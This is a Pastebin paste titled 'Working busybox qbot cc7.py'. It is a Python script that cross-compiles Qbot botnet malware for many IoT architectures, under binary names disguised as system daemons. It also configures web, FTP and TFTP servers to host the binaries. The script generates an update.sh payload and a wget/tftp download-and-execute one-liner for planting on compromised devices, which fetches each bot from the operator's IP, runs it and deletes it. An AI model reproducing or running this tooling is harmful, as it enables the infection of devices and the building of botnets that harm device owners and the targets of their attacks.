Advertisement
KekSec

Working busybox qbot cc7.py (sets up tftp and ftp also)

Aug 4th, 2018
1,147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.29 KB | None | 0 0
  1. #Python auto cross compiler by void
  2.  
  3. import subprocess, sys
  4.  
  5. if len(sys.argv[2]) != 0:
  6.     ip = sys.argv[2]
  7. else:
  8.     print("\x1b[0;31mIncorrect Usage!")
  9.     print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  10.     exit(1)
  11.    
  12. bot = sys.argv[1]
  13.  
  14. yourafag = raw_input("Get arch's? Y/n:")
  15. if yourafag.lower() == "y":
  16.     get_arch = True
  17. else:
  18.     get_arch = False
  19.  
  20. compileas = ["ntpd", #mips
  21.              "sshd", #mipsel
  22.              "openssh", #sh4
  23.              "bash", #x86
  24.              "tftp", #Armv6l
  25.              "wget", #i686
  26.              "cron", #ppc
  27.              "ftp", #i586
  28.              "pftp", #m68k
  29.              "sh", #sparc
  30.              "watchdog", #armv4
  31.              "apache2", #armv5
  32.              "telnetd"] #powerpc-440fp
  33.  
  34. getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  35. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  36. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  37. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  38. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  39. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  40. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  41. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  42. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  43. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  44. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  45. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
  46. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
  47.  
  48. ccs = ["cross-compiler-mips",
  49.        "cross-compiler-mipsel",
  50.        "cross-compiler-sh4",
  51.        "cross-compiler-x86_64",
  52.        "cross-compiler-armv6l",
  53.        "cross-compiler-i686",
  54.        "cross-compiler-powerpc",
  55.        "cross-compiler-i586",
  56.        "cross-compiler-m68k",
  57.        "cross-compiler-sparc",
  58.        "cross-compiler-armv4l",
  59.        "cross-compiler-armv5l",
  60.        "cross-compiler-powerpc-440fp"]
  61.  
  62. def run(cmd):
  63.     subprocess.call(cmd, shell=True)
  64.  
  65. if get_arch == True:
  66.     run("rm -rf cross-compiler-*")
  67.  
  68.     print("Downloading Architectures")
  69.  
  70.     for arch in getarch:
  71.         run("wget " + arch + " --no-check-certificate >> /dev/null")
  72.         run("tar -xvf *tar.bz2")
  73.         run("rm -rf *tar.bz2")
  74.  
  75.     print("Cross Compilers Downloaded...")
  76.  
  77. num = 0
  78. for cc in ccs:
  79.     arch = cc.split("-")[2]
  80.     run("./"+cc+"/bin/"+arch+"-gcc -static -o " + compileas[num] + " " + bot)
  81.     num += 1
  82.  
  83. print("Cross Compiling Done!")
  84. print("Setting up your apache2 and tftp")
  85.  
  86. run("apt-get install apache2 -y")
  87. run("service apache2 start")
  88. run("apt-get install xinetd tftpd tftp -y")
  89. run("apt-get install vsftpd -y")
  90. run("service vsftpd start")
  91.  
  92. fh=open("/etc/xinetd.d/tftp", "w")
  93. fh.write('''service tftp
  94. {
  95. protocol        = udp
  96. port            = 69
  97. socket_type     = dgram
  98. wait            = yes
  99. user            = nobody
  100. server          = /usr/sbin/in.tftpd
  101. server_args     = /tftpboot
  102. disable         = no
  103. }''')
  104. fh.close()
  105.  
  106. run('mkdir /tftpboot')
  107.  
  108. fh=open("/etc/vsftpd.conf", "w")
  109. fh.write('''listen=YES
  110. local_enable=NO
  111. anonymous_enable=YES
  112. no_anon_password=YES
  113. write_enable=NO
  114. anon_root=/var/ftp
  115. anon_max_rate=2048000
  116. xferlog_enable=YES
  117. listen_address='''+ ip +'''
  118. listen_port=21''')
  119. fh.close()
  120.  
  121. for i in compileas:
  122.     run("cp " + i + " /var/www/html")
  123.     run("cp " + i + " /var/ftp")
  124.     run("cp " + i + " /tftpboot")
  125.     run("mv " + i + " /var/lib/tftpboot")
  126.  
  127. i = "telnetd"
  128. run("./cross-compiler-powerpc-440fp/bin/powerpc-440fp-gcc bot.c -static -o " + i)
  129. run("cp " + i + " /var/www/html")
  130. run("cp " + i + " /var/ftp")
  131. run("cp " + i + " /tftpboot")
  132. run("mv " + i + " /var/lib/tftpboot")
  133.  
  134. run('echo "#!/bin/sh" > /var/www/html/update.sh')
  135. run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /" >> /var/www/html/update.sh')
  136.  
  137. for i in compileas:
  138.     run('echo "wget http://' + ip + '/' + i + ' -O ' + i + '; busybox wget http://' + ip + '/' + i + ' -O ' + i + '; tftp -r ' + i + ' -g ' + ip + '; busybox tftp -r ' + i + ' -g ' + ip + '; chmod 777 ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/update.sh')
  139.  
  140. run("cp /var/www/html/update.sh /var/ftp")
  141. run("cp /var/www/html/update.sh /tftpboot")
  142. run("cp /var/www/html/update.sh /var/lib/tftpboot")
  143.  
  144. run("chmod -R 777 /tftpboot")
  145. run("chown -R nobody /tftpboot")
  146.  
  147. run("service xinetd restart")
  148. run("/etc/init.d/xinetd restart")
  149. run("service vsftpd restart")
  150. run("/etc/init.d/vsftpd restart")
  151. run("service lighttpd restart")
  152. run("/etc/init.d/lighttpd restart")
  153.  
  154. print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  155. print("\x1b[0;32m" + 'Your link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/update.sh -O update.sh; busybox wget http://' + ip + '/update.sh -O update.sh; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' update.sh update.sh; chmod 777 update.sh; ./update.sh; rm -rf update.sh\x1b[0m')
  156. print
  157. print("\x1b[0;32mCoded By Freak\x1b[0m")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement